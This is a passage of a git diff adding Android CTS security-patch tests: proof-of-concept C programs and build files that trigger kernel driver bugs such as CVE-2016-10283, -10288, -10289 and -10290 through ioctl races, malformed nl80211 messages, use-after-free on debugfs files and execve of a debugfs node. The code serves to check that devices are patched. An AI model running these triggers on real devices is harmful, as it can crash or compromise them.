+ metadata_op_crc,
+ metadata_op_get_ion_fd,
+ metadata_op_max
+};
+
+struct msmfb_metadata {
+ uint32_t op;
+ uint32_t flags;
+ union {
+ struct mdp_misr misr_request;
+ struct mdp_blend_cfg blend_cfg;
+ struct mdp_mixer_cfg mixer_cfg;
+ uint32_t panel_frame_rate;
+ uint32_t video_info_code;
+ struct mdss_hw_caps caps;
+ uint8_t secure_en;
+ int fbmem_ionfd;
+ } data;
+};
+
+#define MSMFB_METADATA_GET _IOW(MSMFB_IOCTL_MAGIC, 166, struct msmfb_metadata)
+
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/poc.c b/hostsidetests/security/securityPatch/Bug-37093119/poc.c
new file mode 100644
index 0000000..781fed7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-37093119/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+int main(int argc, char **argv) {
+ int ret, count;
+ int j = 0;
+ int fd;
+ struct msmfb_metadata data;
+ void *addr;
+ int pc = 3;
+ char driver[32] = {0};
+
+ for (int i = 0; i < 3; i++) {
+ if (snprintf(driver, sizeof(driver), "/dev/graphics/fb%d", i) < 0) {
+ exit(EXIT_FAILURE);
+ }
+ while (pc-- > 0) fork();
+
+ fd = open(driver, O_RDWR, 0);
+ if (fd < 0) {
+ return -1;
+ }
+
+ addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
+ if (addr == MAP_FAILED) {
+ close(fd);
+ return -1;
+ }
+
+ count = 0;
+ retry:
+ memset(&data, 0x0, sizeof(data));
+ data.op = metadata_op_get_ion_fd;
+ ret = ioctl(fd, MSMFB_METADATA_GET, &data);
+
+ close(data.data.fbmem_ionfd);
+ j++;
+ if (j < 10000) {
+ goto retry;
+ }
+
+ munmap(addr, 4096);
+
+ close(fd);
+ }
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
new file mode 100644
index 0000000..1a36be9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-62058746
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-62058746/poc.c b/hostsidetests/security/securityPatch/Bug-62058746/poc.c
new file mode 100644
index 0000000..05d54fe
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-62058746/poc.c
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <ctype.h>
+#include <dirent.h>
+#include <dlfcn.h>
+#include <elf.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define FILE_PATH ("/proc/cld/athdiagpfs")
+
+#define TEST_SIZE (8092)
+
+void *read_test(int arg) {
+ size_t buffer_size = (size_t)arg;
+ FILE *fd = fopen(FILE_PATH, "rb");
+ char *buffer = (char *)malloc(sizeof(char) * buffer_size);
+ memset(buffer, '0', buffer_size);
+ buffer[buffer_size-1] = '\0';
+ while (fgets(buffer, buffer_size, fd)) { }
+ return NULL;
+}
+
+int main() { read_test(TEST_SIZE); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
index 3ba801e..34c2f5c 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10283/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10283/Android.mk
new file mode 100644
index 0000000..cdc45bc
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10283/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10283
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10283/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10283/poc.c
new file mode 100644
index 0000000..295dfcc
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10283/poc.c
@@ -0,0 +1,112 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h>
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 1024
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+
+struct nl_sock *nl_sk;
+#define NL80211_ATTR_IFINDEX 3
+
+int test(void);
+int send_set_station(u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
+ u_int8_t genl_cmd, u_int8_t genl_version);
+
+int send_set_station(u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
+ u_int8_t genl_cmd, u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ unsigned char oper_classes[253];
+ struct nl80211_sta_flag_update flags;
+
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+ nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);
+
+ flags.mask = (1 << NL80211_STA_FLAG_TDLS_PEER);
+ flags.set = (1 << NL80211_STA_FLAG_TDLS_PEER);
+
+ nla_put(msg, NL80211_ATTR_STA_FLAGS2, sizeof(flags), &flags);
+
+ nla_put(msg, NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES, sizeof(oper_classes),
+ oper_classes);
+
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int ret = 0;
+ int family_id = 0;
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+#define NL80211_CMD_SET_STATION 18
+
+ ret = send_set_station(family_id, getpid(), NL80211_CMD_SET_STATION, 1);
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10288/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10288/Android.mk
new file mode 100644
index 0000000..46589ff
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10288/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10288
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10288/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10288/poc.c
new file mode 100644
index 0000000..2613edb
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10288/poc.c
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <asm/ioctl.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define SIZE 64
+
+void trigger_crash(int fd);
+void testuaf(void);
+
+void trigger_crash(int fd) {
+ int i, ret = -1;
+ int count = 1000000;
+ char buf[SIZE] = {0};
+
+ for (i = 0; i < count; i++) {
+ ret = read(fd, buf, SIZE);
+ }
+}
+
+void testuaf(void) {
+const char *infopath = "/sys/kernel/debug/flashLED/strobe";
+ int fd1 = -1;
+ int fd2 = -1;
+
+ fd1 = open(infopath, O_RDWR);
+ fd2 = open(infopath, O_RDWR);
+ close(fd2);
+ trigger_crash(fd1);
+}
+
+int main(int argc, char *argv[]) {
+ testuaf();
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10289/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10289/Android.mk
new file mode 100644
index 0000000..2330d04
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10289/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10289
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10289/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10289/poc.c
new file mode 100644
index 0000000..d57c516
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10289/poc.c
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+int main(int argc, char **argv) {
+ int ret;
+ char *h_argv[128];
+ char *h_envp[128];
+
+ ret = system("chmod +x /sys/kernel/debug/qcrypto/stats-1");
+ ret = execve("/sys/kernel/debug/qcrypto/stats-1", h_argv, h_envp);
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10290/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10290/Android.mk
new file mode 100644
index 0000000..e7da125
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10290/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10290
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10290/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10290/poc.c
new file mode 100644
index 0000000..f2a6904
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10290/poc.c
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <asm/ioctl.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+void ThreadFun(void);
+void trigger(void);
+
+const char *infopath = "/sys/kernel/debug/rmt_storage/info";
+
+void ThreadFun(void) {
+ int fd = -1;
+ while (1) {
+ fd = open(infopath, O_RDWR);
+ if (fd > 0) {
+ close(fd);
+ fd = -1;
+ }
+ }
+}
+
+#define TC 100
+void trigger(void) {
+ int i, ret;
+ pthread_t tids[TC];
+ for (i = 0; i < TC; i++) {
+ ret = pthread_create((pthread_t *)&tids[i], NULL, (void *)ThreadFun, NULL);
+ }
+
+ for (i = 0; i < TC; i++) pthread_join(tids[i], NULL);
+}
+
+int main(int argc, char *argv[]) {
+ trigger();
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
index 14337ab..f716db3 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
index 718dbe3..4149b96 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
index 03b7b87..13fc65e 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
index 7b02188..c9721ac 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
index e1eebbd..1cb417e 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
index 8935cd6..7def71d 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
